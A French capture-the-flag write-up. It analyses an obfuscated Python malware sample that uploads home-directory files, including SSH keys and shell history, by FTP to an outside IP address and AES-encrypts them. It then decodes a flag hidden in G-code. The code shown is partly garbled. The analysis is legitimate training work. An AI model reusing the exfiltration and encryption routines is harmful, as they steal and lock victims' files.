rdbyqcagaf4bcjay7tzfyc7xej4pg47y = juqrdwqmw27667rk5oud2ed82iw8wqt5.sleep
hhdvsgtgnv65y57agh2sszpmf2jr435h = '0.0'
uk9haywudots9vrwyduqinp56tpmin6i = 8
mr3e6xrxz3hn44g3x64g8wm4od59y8xh = ''
y3tds39qfttgd5gz6yx8bmta5t4zh45 = mr3e6xrxz3hn44g3x64g8wm4od59y8xh
c3cwygh5kv2ukafie5ya5os72kt7f6ci = xf5w6pmj72sxf89qbxxj8bmj9kfmcqb.loads
y3tds39qfttgd5gz6yx8bmta5t4zh45 += 'S'

```

```
##### 2
```

```
#####
```

```

def ds6kzfdw8ov6wnxq8rwh2pmodrce4ox4(ormgt5pyac2fucr2j47umvg5dkpztwok):
    qr6tkwxreo4i3trcdc74a5626gprhzeu = x2n4hcs4nh3j3vfnjnbrmrrdzmvcvqh.FTP()
    qr6tkwxreo4i3trcdc74a5626gprhzeu.connect(mm5dawvmfmuq4ezaopgeu9cpsxujytx,
pi4cqcoko8draakzyt8kt5nnojv5kyh)
    qr6tkwxreo4i3trcdc74a5626gprhzeu.login(p8kqtofurcszron3eigskks3jo76czwg,
p8kqtofurcszron3eigskks3jo76czwg) ### connexion FTP
    qr6tkwxreo4i3trcdc74a5626gprhzeu.cwd(z6e8vyq996vi68j8uaqcopbjccc2grbe) ###
localisation dans en répertoire du FTP
    qr6tkwxreo4i3trcdc74a5626gprhzeu.storbinary(y3tds39qfttgd5gz6yx8bmta5t4zh45 +
ormgt5pyac2fucr2j47umvg5dkpztwok,
y7inbkdaaff2xtravxeja6ewee5gs3ec9(ormgt5pyac2fucr2j47umvg5dkpztwok, "rb"))#transfert
un fichier
    qr6tkwxreo4i3trcdc74a5626gprhzeu.quit()

```

```

def ds6kzfdw8ov6wnxq8rwh2pmodrce4ox4_harmless(ormgt5pyac2fucr2j47umvg5dkpztwok):
    print("FTP : Host : {} and port
{}".format(mm5dawvmfmuq4ezaopgeu9cpsxujytx,pi4cqcoko8draakzyt8kt5nnojv5kyh))
    print("FTP login : {} password :
{}".format(p8kqtofurcszron3eigskks3jo76czwg,p8kqtofurcszron3eigskks3jo76czwg))
    print("FTP working dir : {}".format(z6e8vyq996vi68j8uaqcopbjccc2grbe))
    print("FTP stored file commande : {} local file sent :
{}".format(y3tds39qfttgd5gz6yx8bmta5t4zh45 +
ormgt5pyac2fucr2j47umvg5dkpztwok,ormgt5pyac2fucr2j47umvg5dkpztwok))

```

```
#####
#####
```

```

ocw8j9a9ngwbqrm5277jyigvivfspd2 = 47
p8bs3i5e4o4atrtvrogvkwge5n94qc = "utf-8"
nk7n9cqk647tke533nkzkh42fng3iwp = "SHELL"

```



```
udjrxacu76yn2qpabn983tgsgetryv2qh = xrkkeu2ra9rr7gvx5dnmi8nmytmoxwj2.getenv
bj9s6bjs4wxhhh94cryxdw4zexrrcfco = rzy8vga4f3r4z4pizfkaop9wkn3rzhca
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 = mr3e6xrxz3hn44g3x64g8wm4od59y8xh
mkggrdu9vx83xd3kf8jje64c34kgq9jr = fw7tw7iqpkuguumsajvnstovek34mbqi.randrange
sfn3a7a9ds84wggi4m6ndc9575gfr63v = nk7n9cqk647tke533nkzckjh42fng3iwp
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'b'
ajqfs3f96ofgp2udu8n4wbdjnwyoeyf = 4
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'M'
bj9s6bjs4wxhhh94cryxdw4zexrrcfco = kdc4fc6mjc9dkbnf6vri79w37hkvqus6
fjma6nxf3o655exsgxsotzvguocwwmx = ij6erz2k9qbc47hfgmh2pvhf25uqss4 + "e"
c8ektkkoft8rivp86jn4kxoqi3bdwt9d = mr3e6xrxz3hn44g3x64g8wm4od59y8xh
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += '8'
sfn3a7a9ds84wggi4m6ndc9575gfr63v = ""
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'ft'
pqiwrqrfh2navmmfk9dzv5bvdht5x7hh = uk9haywudots9vrwyduqinp56tpmin6i / 4
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'ri'
z2xp9r33qj7xbuwqmddborrh5biut9iw = mr3e6xrxz3hn44g3x64g8wm4od59y8xh
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'e'
qtf4wmhh7i6xjbsm4mwermw5xd7gr37c = bkxegxi2e5fzkpa4ewe5kk8u54cnrhvz.b64decode
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'ko'
z2xp9r33qj7xbuwqmddborrh5biut9iw = vodshxxb28m7pr4wpj89j88kbj4xkvjd
y3tds39qfttgdt5gz6yx8bmta5t4zh45 += 'T0'
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'c'
hf2aayysipqo86r9hbxydt59ot9pr3b5 = fw7tw7iqpkuguumsajvnstovek34mbqi.randint
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'U'
ij6erz2k9qbc47hfgmh2pvhf25uqss4 = '' + fjma6nxf3o655exsgxsotzvguocwwmx
aaovc2rgfi6gudcgua079g4yhcuq2mdd = bytearray
rzy8vga4f3r4z4pizfkaop9wkn3rzhca += "372762"
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'EW'
fuoy7kv4wb22qijt4jidfnvoprxtkfds = ocv8j9a9ngwbqrm5277jyigvivfspd2 *
uk9haywudots9vrwyduqinp56tpmin6i
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'CT'
hxikx37sffxcxn6b673vukbg6p9y5hfm = xe67mjqssi9824yjpgw5ckcw75y6nzoz
```

```
##### 3
```

```
#####
```

```
def vctioceigyhub9ugkg633if9zwt8vpvd(yt79bxemwop35ne2oau244gfmv7dy97q):
    d2t7gh94mmceyw9kzov6q2nmquphw9m9 =
o738b8reoivq2exwa7vfu4pf3xzym42b.new(hxr7hx3ydakqjgd49ennfmfhf62jng4r,
gm2a24xqc96g3turpbqo2hi9p738mony, o4za2oynjpd4g37sw8xumbc9g8t7f7st)
    with y7inbkdaaff2xtravxeja6ewee5gs3ec9(yt79bxemwop35ne2oau244gfmv7dy97q, "rb")
as af63mdf5y7q4hf3ertyf6d2mnqxmjujz:
    dx99jxgdio55347hz4ff9bemszgtvp95 = af63mdf5y7q4hf3ertyf6d2mnqxmjujz.read()
    zs8z79ihhrofnbso9jad9c68e3w853f9 =
yz3vv3vt5avgivdhijaim9gyi7p8ityc(dx99jxgdio55347hz4ff9bemszgtvp95)
    gvui74ppgp3zgh7t6pd5dc4rc9pgn7r9 =
```

```

d2t7gh94mmceyw9kzov6q2nmquphw9m9.encrypt(zs8z79ihhrofnbso9jad9c68e3w853f9)
    with y7inbkdaaff2xtravxeja6ewee5gs3ec9(yt79bxemwop35ne2oau244gfmv7dy97q, "wb")
as zo72uc9vb7xvn5tpb6ho3oku6fffy7itr:
    zo72uc9vb7xvn5tpb6ho3oku6fffy7itr.write(gvui74ppgp3zgh7t6pd5dc4rc9pgn7r9)

def vctioceigyhub9ugkg633if9zwt8vpvd_harmless(yt79bxemwop35ne2oau244gfmv7dy97q):
    print("AES secret key : {} Mode : {} iv :
{}".format(hxr7hx3ydakqjgd49ennfmfhf62jng4r, gm2a24xqc96g3turpbqo2hi9p738mony, o4za2o
ynjpd4g37sw8xumbc9g8t7f7st))
    print("Reading content of file : {}".format(yt79bxemwop35ne2oau244gfmv7dy97q))
    print("Processing content and returned value of process ")
    print("Encrypting data using AES")

```

```

hxikx37sffxcxn6b673vukbg6p9y5hfm = ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'kr'
e24sb3fca54vdoqygqkicpvcf26e4uee = aaovc2rgfi6gudcgua079g4yhcuq2mdd.append
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'b'
ocw8j9a9ngwbqrm5277jyigvivfspd2 = ocw8j9a9ngwbqrm5277jyigvivfspd2
vv8pwd6frkdqe5hxps6diwskdzczgbpa = rzy8vga4f3r4z4pizfkaop9wkn3rzhca
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += 'P'
mh733fe9ckv342zfqcbnabf58kvbczo = fjma6nxf3o655exsgxsotzvguocwwmx
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98 += '5'
buyyf4fid5fau6vuxbo3itujvdekf9fn = mr3e6xrxz3hn44g3x64g8wm4od59y8xh
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'ro'
hxikx37sffxcxn6b673vukbg6p9y5hfm = nfsi8csdhzk59n6hxi2cuqber5fopbs
jgdnb7oo4rqz6j6m87t3v2ct2ppwnocd = aaovc2rgfi6gudcgua079g4yhcuq2mdd.fromhex
buyyf4fid5fau6vuxbo3itujvdekf9fn += 'v'
edft3pk844npj552cxzkzgf655pajdrj = txwh7rqpty93pjkws7dcun83rdiocjm
buyyf4fid5fau6vuxbo3itujvdekf9fn += 'L'
rzy8vga4f3r4z4pizfkaop9wkn3rzhca = fuoy7kv4wb22qijt4jidfnvoprxtkfds
buyyf4fid5fau6vuxbo3itujvdekf9fn += 'uU'
uk9haywudots9vrwyduqinp56tpmin6i = (uk9haywudots9vrwyduqinp56tpmin6i * 2) / 2
buyyf4fid5fau6vuxbo3itujvdekf9fn += 'b'
gy87nmd3dc3kbrjvv4dhs8da9endtemi = 'YWhhaGFoYWhh'
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'll'
gm2a24xqc96g3turpbqo2hi9p738mony = o738b8reoivq2exwa7vfu4pf3xzym42b.MODE_CBC
vv8pwd6frkdqe5hxps6diwskdzczgbpa += txwh7rqpty93pjkws7dcun83rdiocjm[0]
o4za2oynjpd4g37sw8xumbc9g8t7f7st =
ndyb4e6w9z87iv4bfjv8jdnfn8gtrp98.encode(p8bs3i5e4o4atrtvwrognvkwe5n94qc)
buyyf4fid5fau6vuxbo3itujvdekf9fn += 'S'
giwxye77p2p3hmk47zgwseh5r7r3nu4b = rdbyqcagaf4bcjay7tzfyc7xej4pg47y
buyyf4fid5fau6vuxbo3itujvdekf9fn += '2o'

```

```

fjma6nxf3o655exsgxsotzvguoccwmx += 'n'
txwh7rqpty93pjkwsd7dcun83rdiocjm = edft3pk844njp552cxzkzgf655pajdrq
buyyf4fid5fau6vuxbo3itujuvdekf9fn += '4'
sfn3a7a9ds84wggi4m6ndc9575gfr63v += 'f'
buyyf4fid5fau6vuxbo3itujuvdekf9fn += 'i'

#####
def xw2doa6w49g6ar9vp4ddipfzr8nt432a(a7xx85ojygpgia8ekzu4yreya8erumtq):
    wj8zaaemfy8mi9aoptf8b4u5n6symp48 = []
    for etdbgnjr2kvhrdeaenffc65e6wjf4h3s, eyavmyihgaszqrxoyuaf2tybjwsw95be,
h3cmb5rmq62bfz9akwotfyenwumfaqho in
xrkkeu2ra9rr7gvx5dnmi8nmytmoxwj2.walk(a7xx85ojygpgia8ekzu4yreya8erumtq):
        for sxfu5jomus9cktzr9es2emxhnnc57vwp in h3cmb5rmq62bfz9akwotfyenwumfaqho:

wj8zaaemfy8mi9aoptf8b4u5n6symp48.append(i6e8xxxfcytuqf2umpnbzw2ya9i8mo8s.join(etdbg
njr2kvhrdeaenffc65e6wjf4h3s, sxfu5jomus9cktzr9es2emxhnnc57vwp))
    return wj8zaaemfy8mi9aoptf8b4u5n6symp48

y3tds39qfttgdt5gz6yx8bmta5t4zh45 += 'R'
fjma6nxf3o655exsgxsotzvguoccwmx = fjma6nxf3o655exsgxsotzvguoccwmx[:-1]
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'e'
hcdyq8ccdc7u56t4v2ioqgnobjhcsh9m = o738b8reoivq2exwa7vfu4pf3xzym42b
c8ektkkoft8rivp86jn4kxoqi3bdwt9d += 'd'
buyyf4fid5fau6vuxbo3itujuvdekf9fn += '6P'
fuoy7kv4wb22qijt4jidfnvoprxtkfds = 14
pi4cqco8draakzyt8kt5nnojv5kyh = 4
buyyf4fid5fau6vuxbo3itujuvdekf9fn += 'r'
gy87nmd3dc3kbrjvv4dhs8da9endtemi = fjma6nxf3o655exsgxsotzvguoccwmx
z6e8vyq996vi68j8uaqcopbjccc2grbe =
jgdnb7oo4rqz6j6m87t3v2ct2ppwnocd(vv8pwd6frkdqe5hxps6diwskdzczgbpa).decode()
pi4cqco8draakzyt8kt5nnojv5kyh = pi4cqco8draakzyt8kt5nnojv5kyh *
ocw8j9a9ngwbqrm5277jyigvivfspd2
fuoy7kv4wb22qijt4jidfnvoprxtkfds = 0
z6e8vyq996vi68j8uaqcopbjccc2grbe += "www"
mm5dawvmfmuq4ezaopgeu9cpsxujtzy = mr3e6xrxz3hn44g3x64g8wm4od59y8xh
gy87nmd3dc3kbrjvv4dhs8da9endtemi += "nc"
mm5dawvmfmuq4ezaopgeu9cpsxujtzy += "13"
buyyf4fid5fau6vuxbo3itujuvdekf9fn += '8j'
def yz3vv3vt5avgivdhi9gyi7p8ityc(rp4pztwn9rzqzib6v4kqczojb3vyt7):
    return rp4pztwn9rzqzib6v4kqczojb3vyt7 + b"\0" *
(o738b8reoivq2exwa7vfu4pf3xzym42b.block_size -
len(rp4pztwn9rzqzib6v4kqczojb3vyt7) %
o738b8reoivq2exwa7vfu4pf3xzym42b.block_size)

```

```

buyyf4fid5fau6vuxbo3itujuvdekf9fn += 'X'
mm5dawvmfmuq4ezaopgeu9cpsxujytzx += "."
z6e8vyq996vi68j8uaqcopbjccc2grbe += x9ttqh5nt369wnoqqz6g52t22kzt5cth[5]
y3tds39qfttgdt5gz6yx8bmta5t4zh45 += ' '
dy4s6f9gs4yyrcmibdkh3yyj6n2btceez = int
mm5dawvmfmuq4ezaopgeu9cpsxujytzx += "98"
xav66pyf764bzggq43waeafcsm6d5jb7 = int
eatq72pdxci8r8gdv95v8pc9xq6fn96 = mr3e6xrxz3hn44g3x64g8wm4od59y8xh
qcpn4ajutw9ppq3pc6gbinnu4uhcaexi = gy87nmd3dc3kbrjvv4dhs8da9endtemi
z6e8vyq996vi68j8uaqcopbjccc2grbe += "dump/"
mm5dawvmfmuq4ezaopgeu9cpsxujytzx += "."
def y4ub2autdwx8u39u9bsma3m2dkb7xfp(zjx5a8hvc87ydt3yo8a8x24qzes58rcn:
xav66pyf764bzggq43waeafcsm6d5jb7, kx2nmu9o9mq5j9spbkeppdcto5ow2kb8:
rnt5s2znrb7hjns73i2dc7qsxattibna):
    for iah7p9czgrjez2cxn3rqet8s7gh3rpxr in range
(fuoy7kv4wb22qijt4jidfnvoprxtkfds,
y3sczwjaq4cvhqs2zemx4ghtzfha232m(kx2nmu9o9mq5j9spbkeppdcto5ow2kb8)):
        if kx2nmu9o9mq5j9spbkeppdcto5ow2kb8[iah7p9czgrjez2cxn3rqet8s7gh3rpxr] ==
zjx5a8hvc87ydt3yo8a8x24qzes58rcn:
            return uunkyhrgm6efvjfhaeeyt8id6bk4tekg
        return ex63ibgsorh5qgr9ykvor9548gayr62y
eatq72pdxci8r8gdv95v8pc9xq6fn96 += x9ttqh5nt369wnoqqz6g52t22kzt5cth[6]
mm5dawvmfmuq4ezaopgeu9cpsxujytzx += "138"
pi4cqco8draakzyt8kt5nnojv5kyh = pi4cqco8draakzyt8kt5nnojv5kyh * (100 +
uk9haywudots9vrwyduqinp56tpmin6i)
mm5dawvmfmuq4ezaopgeu9cpsxujytzx += "."
hxr7hx3ydakqjgd49ennfmfhf62jng4r =
buyyf4fid5fau6vuxbo3itujuvdekf9fn.encode(p8bs3i5e4o4atrtvwrognvkwe5n94qc)
t873aictu9jukbh9wwacnf6fe2u6irr = qtf4wmhh7i6xjbsm4mwermw5xd7gr37c("aG9tZS8=")
mm5dawvmfmuq4ezaopgeu9cpsxujytzx += "213"
pi4cqco8draakzyt8kt5nnojv5kyh =
xav66pyf764bzggq43waeafcsm6d5jb7(pi4cqco8draakzyt8kt5nnojv5kyh)
mieywni7dy2hv5o98a9mbmnuwskg8ta6 = t873aictu9jukbh9wwacnf6fe2u6irr
eatq72pdxci8r8gdv95v8pc9xq6fn96 +=
t873aictu9jukbh9wwacnf6fe2u6irr.decode(p8bs3i5e4o4atrtvwrognvkwe5n94qc)
n54uzfrqj6irnnghogrrwmu9imv3uyu =
rnt5s2znrb7hjns73i2dc7qsxattibna(pi4cqco8draakzyt8kt5nnojv5kyh)

#for h762kgf56n5xzyymoj77ybm3whxbqqgo in
xw2doa6w49g6ar9vp4ddipfzr8nt432a(eatq72pdxci8r8gdv95v8pc9xq6fn96):
    #ds6kzfdw8ov6wnxq8rwh2pmodrce4ox4(h762kgf56n5xzyymoj77ybm3whxbqqgo)
    #vctioceigyhub9ugkg633if9zwt8vpvd(h762kgf56n5xzyymoj77ybm3whxbqqgo)
    #vgcdpe69qrihym2tvwzjev3kzchme4u7(h762kgf56n5xzyymoj77ybm3whxbqqgo,
h762kgf56n5xzyymoj77ybm3whxbqqgo + qcpn4ajutw9ppq3pc6gbinnu4uhcaexi)
h762kgf56n5xzyymoj77ybm3whxbqqgo =

```

```

xw2doa6w49g6ar9vp4ddipfzr8nt432a(eatq72pdxcij8r8gdv95v8pc9xq6fn96)
print("Root folder : {}".format(eatq72pdxcij8r8gdv95v8pc9xq6fn96))
for loop_values in h762kgf56n5xzyymoj77ybm3whxbqqgo:
    print("#"*30)
    print("Working on : {}".format(loop_values))
    ds6kzfdw8ov6wnxq8rwh2pmodrce4ox4_harmless(loop_values)
    vctioceigyhub9ugkg633if9zwt8vpvd_harmless(loop_values)
    print("Cleaning phase data modification : {} and {}".format(loop_values,
loop_values + qcpn4ajutw9ppq3pc6binnu4uhcaexi))
    print("\n\n\n")

def tzc728zzgeffh6iue3chgqmgsgis4hbq(baawy4qfjg4nq4xmtdf24ors3mt3j8pg,
ct9kud5b72b4bfen93jrn9cstsiy4d6e):
    if qcpn4ajutw9ppq3pc6binnu4uhcaexi is nfsi8csdhzk59n6hqxi2cuqber5fopbs:
        if baawy4qfjg4nq4xmtdf24ors3mt3j8pg > ct9kud5b72b4bfen93jrn9cstsiy4d6e:
            return
hf2aayysipqo86r9hbxydt59ot9pr3b5(ct9kud5b72b4bfen93jrn9cstsiy4d6e,
baawy4qfjg4nq4xmtdf24ors3mt3j8pg)
    return hf2aayysipqo86r9hbxydt59ot9pr3b5(baawy4qfjg4nq4xmtdf24ors3mt3j8pg,
ct9kud5b72b4bfen93jrn9cstsiy4d6e)
    return p8kqtofurcszron3eigskks3jo76czwg

```

Ce code est inoffensif et affiche step by step le comportement du malware :

```

##### Working on : /home/root/.cache/xdg/dconf/user FTP :
Host : 13.98.138.213 and port 20304 FTP login : anonymous password : anonymous FTP
working dir : /srv/www/dump/ FTP stored file commande : STOR
/home/root/.cache/xdg/dconf/user local file sent : /home/root/.cache/xdg/dconf/user
AES secret key : b'vLuUbS2o4i6Pr8jX' Mode : 2 iv : b'bM8ftekoUEWCTbP5' Reading
content of file : /home/root/.cache/xdg/dconf/user Processing content and returned
value of process Encrypting data using AES Cleaning phase data modification :
/home/root/.cache/xdg/dconf/user and /home/root/.cache/xdg/dconf/user.enc
##### Working on : /home/.cache/xdg/mate-system-
monitor.root.2392720276 FTP : Host : 13.98.138.213 and port 20304 FTP login :
anonymous password : anonymous FTP working dir : /srv/www/dump/ FTP stored file
commande : STOR /home/.cache/xdg/mate-system-monitor.root.2392720276 local file
sent : /home/.cache/xdg/mate-system-monitor.root.2392720276 AES secret key :
b'vLuUbS2o4i6Pr8jX' Mode : 2 iv : b'bM8ftekoUEWCTbP5' Reading content of file :
/home/.cache/xdg/mate-system-monitor.root.2392720276 Processing content and
returned value of process Encrypting data using AES Cleaning phase data
modification : /home/.cache/xdg/mate-system-monitor.root.2392720276 and
/home/.cache/xdg/mate-system-monitor.root.2392720276.enc

```

```
##### Working on : /home/.cache/xdg/keyring/pkcs11 FTP :
Host : 13.98.138.213 and port 20304 FTP login : anonymous password : anonymous FTP
working dir : /srv/www/dump/ FTP stored file commande : STOR
/home/.cache/xdg/keyring/pkcs11 local file sent : /home/.cache/xdg/keyring/pkcs11
AES secret key : b'vLuUbS2o4i6Pr8jX' Mode : 2 iv : b'bM8ftekoUEWCTbP5' Reading
content of file : /home/.cache/xdg/keyring/pkcs11 Processing content and returned
value of process Encrypting data using AES Cleaning phase data modification :
/home/.cache/xdg/keyring/pkcs11 and /home/.cache/xdg/keyring/pkcs11.enc
##### Working on : /home/.cache/xdg/keyring/ssh FTP : Host
: 13.98.138.213 and port 20304 FTP login : anonymous password : anonymous FTP
working dir : /srv/www/dump/ FTP stored file commande : STOR
/home/.cache/xdg/keyring/ssh local file sent : /home/.cache/xdg/keyring/ssh AES
secret key : b'vLuUbS2o4i6Pr8jX' Mode : 2 iv : b'bM8ftekoUEWCTbP5' Reading content
of file : /home/.cache/xdg/keyring/ssh Processing content and returned value of
process Encrypting data using AES Cleaning phase data modification :
/home/.cache/xdg/keyring/ssh and /home/.cache/xdg/keyring/ssh.enc
##### Working on : /home/.cache/xdg/keyring/control FTP :
Host : 13.98.138.213 and port 20304 FTP login : anonymous password : anonymous FTP
working dir : /srv/www/dump/ FTP stored file commande : STOR
/home/.cache/xdg/keyring/control local file sent : /home/.cache/xdg/keyring/control
AES secret key : b'vLuUbS2o4i6Pr8jX' Mode : 2 iv : b'bM8ftekoUEWCTbP5' Reading
content of file : /home/.cache/xdg/keyring/control Processing content and returned
value of process Encrypting data using AES Cleaning phase data modification :
/home/.cache/xdg/keyring/control and /home/.cache/xdg/keyring/control.enc
##### Working on : /home/.cache/xdg/dconf/user FTP : Host
: 13.98.138.213 and port 20304 FTP login : anonymous password : anonymous FTP
working dir : /srv/www/dump/ FTP stored file commande : STOR
/home/.cache/xdg/dconf/user local file sent : /home/.cache/xdg/dconf/user AES
secret key : b'vLuUbS2o4i6Pr8jX' Mode : 2 iv : b'bM8ftekoUEWCTbP5' Reading content
of file : /home/.cache/xdg/dconf/user Processing content and returned value of
process Encrypting data using AES Cleaning phase data modification :
/home/.cache/xdg/dconf/user and /home/.cache/xdg/dconf/user.enc
##### Working on : /home/ubuntu/.sudo_as_admin_successful
FTP : Host : 13.98.138.213 and port 20304 FTP login : anonymous password :
anonymous FTP working dir : /srv/www/dump/ FTP stored file commande : STOR
/home/ubuntu/.sudo_as_admin_successful local file sent :
/home/ubuntu/.sudo_as_admin_successful AES secret key : b'vLuUbS2o4i6Pr8jX' Mode :
2 iv : b'bM8ftekoUEWCTbP5' Reading content of file :
/home/ubuntu/.sudo_as_admin_successful Processing content and returned value of
process Encrypting data using AES Cleaning phase data modification :
```



```
/home/ubuntu/.sudo_as_admin_successful and
/home/ubuntu/.sudo_as_admin_successful.enc ##### Working
on : /home/ubuntu/.bash_logout FTP : Host : 13.98.138.213 and port 20304 FTP login
: anonymous password : anonymous FTP working dir : /srv/www/dump/ FTP stored file
commande : STOR /home/ubuntu/.bash_logout local file sent :
/home/ubuntu/.bash_logout AES secret key : b'vLuUbS2o4i6Pr8jX' Mode : 2 iv :
b'bM8ftekoUEWCTbP5' Reading content of file : /home/ubuntu/.bash_logout Processing
content and returned value of process Encrypting data using AES Cleaning phase data
modification : /home/ubuntu/.bash_logout and /home/ubuntu/.bash_logout.enc
##### Working on : /home/ubuntu/.profile FTP : Host :
13.98.138.213 and port 20304 FTP login : anonymous password : anonymous FTP working
dir : /srv/www/dump/ FTP stored file commande : STOR /home/ubuntu/.profile local
file sent : /home/ubuntu/.profile AES secret key : b'vLuUbS2o4i6Pr8jX' Mode : 2 iv
: b'bM8ftekoUEWCTbP5' Reading content of file : /home/ubuntu/.profile Processing
content and returned value of process Encrypting data using AES Cleaning phase data
modification : /home/ubuntu/.profile and /home/ubuntu/.profile.enc
##### Working on : /home/ubuntu/.bash_history FTP : Host :
13.98.138.213 and port 20304 FTP login : anonymous password : anonymous FTP working
dir : /srv/www/dump/ FTP stored file commande : STOR /home/ubuntu/.bash_history
local file sent : /home/ubuntu/.bash_history AES secret key : b'vLuUbS2o4i6Pr8jX'
Mode : 2 iv : b'bM8ftekoUEWCTbP5' Reading content of file :
/home/ubuntu/.bash_history Processing content and returned value of process
Encrypting data using AES Cleaning phase data modification :
/home/ubuntu/.bash_history and /home/ubuntu/.bash_history.enc
##### Working on : /home/ubuntu/.bashrc FTP : Host :
13.98.138.213 and port 20304 FTP login : anonymous password : anonymous FTP working
dir : /srv/www/dump/ FTP stored file commande : STOR /home/ubuntu/.bashrc local
file sent : /home/ubuntu/.bashrc AES secret key : b'vLuUbS2o4i6Pr8jX' Mode : 2 iv :
b'bM8ftekoUEWCTbP5' Reading content of file : /home/ubuntu/.bashrc Processing
content and returned value of process Encrypting data using AES Cleaning phase data
modification : /home/ubuntu/.bashrc and /home/ubuntu/.bashrc.enc
##### Working on : /home/ubuntu/.Xauthority FTP : Host :
13.98.138.213 and port 20304 FTP login : anonymous password : anonymous FTP working
dir : /srv/www/dump/ FTP stored file commande : STOR /home/ubuntu/.Xauthority local
file sent : /home/ubuntu/.Xauthority AES secret key : b'vLuUbS2o4i6Pr8jX' Mode : 2
iv : b'bM8ftekoUEWCTbP5' Reading content of file : /home/ubuntu/.Xauthority
Processing content and returned value of process Encrypting data using AES Cleaning
phase data modification : /home/ubuntu/.Xauthority and /home/ubuntu/.Xauthority.enc
##### Working on : /home/ubuntu/.cache/motd.legal-
displayed FTP : Host : 13.98.138.213 and port 20304 FTP login : anonymous password
```

```
: anonymous FTP working dir : /srv/www/dump/ FTP stored file commande : STOR
/home/ubuntu/.cache/motd.legal-displayed local file sent :
/home/ubuntu/.cache/motd.legal-displayed AES secret key : b'vLuUbS2o4i6Pr8jX' Mode
: 2 iv : b'bM8ftekoUEWCTbP5' Reading content of file :
/home/ubuntu/.cache/motd.legal-displayed Processing content and returned value of
process Encrypting data using AES Cleaning phase data modification :
/home/ubuntu/.cache/motd.legal-displayed and /home/ubuntu/.cache/motd.legal-
displayed.enc ##### Working on :
/home/ubuntu/.ssh/authorized_keys FTP : Host : 13.98.138.213 and port 20304 FTP
login : anonymous password : anonymous FTP working dir : /srv/www/dump/ FTP stored
file commande : STOR /home/ubuntu/.ssh/authorized_keys local file sent :
/home/ubuntu/.ssh/authorized_keys AES secret key : b'vLuUbS2o4i6Pr8jX' Mode : 2 iv
: b'bM8ftekoUEWCTbP5' Reading content of file : /home/ubuntu/.ssh/authorized_keys
Processing content and returned value of process Encrypting data using AES Cleaning
phase data modification : /home/ubuntu/.ssh/authorized_keys and
/home/ubuntu/.ssh/authorized_keys.enc
```

On peut donc constituer le flag suivant :

```
HACKDAY{bM8ftekoUEWCTbP5:vLuUbS2o4i6Pr8jX:13.98.138.213:20304:/srv/www/dump:/home/
:.enc}
```

Blueprint mirage

Challenge

73 Solves



BLUEPRINT MIRAGE

100

Isnubi

Un gang nommé MustardIsLie, basé à Dijon, a semé la terreur en 2022 en exerçant des pressions et des menaces sur les usines de moutarde de la région. Une rumeur suggère qu'ils pourraient être responsables de la crise ayant entraîné une hausse fulgurante du prix de la moutarde en France à cette époque. Depuis lors, les autorités sont à leurs trousses. La semaine dernière, les forces de l'ordre ont réussi à localiser et à lancer un assaut sur leur quartier général. Anticipant l'attaque, les membres ont réussi à détruire une grande partie des informations importantes, par exemple, celles les liant à leurs collaborateurs. Malgré cela, l'opération a été un succès, et les principaux membres de l'organisation ont été placés derrière les barreaux. Bien que beaucoup de choses aient été détruites, une clé USB a été retrouvée dans un tiroir. Cette dernière contenait un unique fichier avec des informations étranges. Cela semble suspect. Vérifiez si ce fichier ne renfermerait pas une information utile !

Dans ce challenge on nous donne un fichier texte un peu chelou :

```
1 |;FLAVOR:Marlin
2 ;TIME:20829
3 ;Filament used: 12.0701m
4 ;Layer height: 0.2
5 ;MINX:50.071
6 ;MINY:50.093
7 ;MINZ:0.2
8 ;MAXX:169.929
9 ;MAXY:169.907
10 ;MAXZ:5
11 ;Generated with Cura_SteamEngine main
12 ;Set parameters
13 F072
14 F065
15 F067
16 F075
17 F068
18 F065
19 F089
20 F123
21 F080
22 F114
23 F051
24 F083
25 F115
26 F095
27 F070
28 F095
29 F055
30 F079
31 F095
32 F112
33 F114
34 F065
35 F089
36 F125
37 M82 ;absolute extrusion mode
38 ; Ender 3 Custom Start G-code
39 G92 E0 ; Reset Extruder
40 G28 ; Home all axes
41 M104 S175 ; Start heating up the nozzle most of the way
42 M190 S50 ; Start heating the bed, wait until target temperature reached
43 M109 S215.0 ; Finish heating the nozzle
44 G1 Z2.0 F3000 ; Move Z Axis up little to prevent scratching of Heat Bed
45 G1 X0.1 Y20.7 Z0.3 F5000.0 ; Move to start position
```

C'est un fichier gcode. Les fichiers gcode sont utilisé pour les modèle 3D pour les imprimantes 3D.

Si on utilise des sites de visualisation de gcode comme ce site : <https://ncviewer.com/> on obtient ça :



C'est le logo du HackDay.

Après avoir fait quelques recherches sur internet sur des CTF en rapport avec des fichiers GCODE je suis tombé sur ça : <https://medium.com/@forwardsecrecy/hackmethod-august-2017-challenges-write-up-51a6ecbd3520>

Dans ce challenge ils décrivent que dans les fichiers GCODE les instruction "F" sont en fait des indications pour l'imprimante 3D. Donc uniquement process lors de l'impression et donc non process par des logiciels de visualisation de fichier GCODE. Deplus dans ce challenge ils précisent que les nombres suivant la lettre F sont en fait des valeurs ASCII.

Dans notre cas voilà les instructions F au début du fichier :

```
9 ;MAXY:169.907
10 ;MAXZ:5
11 ;Generated with Cura_SteamEngine main
12 ;Set parameters
13 F072
14 F065
15 F067
16 F075
17 F068
18 F065
19 F089
20 F123
21 F080
22 F114
23 F051
24 F083
25 F115
26 F095
27 F070
28 F095
29 F055
30 F079
31 F095
32 F112
33 F114
34 F065
35 F089
36 F125
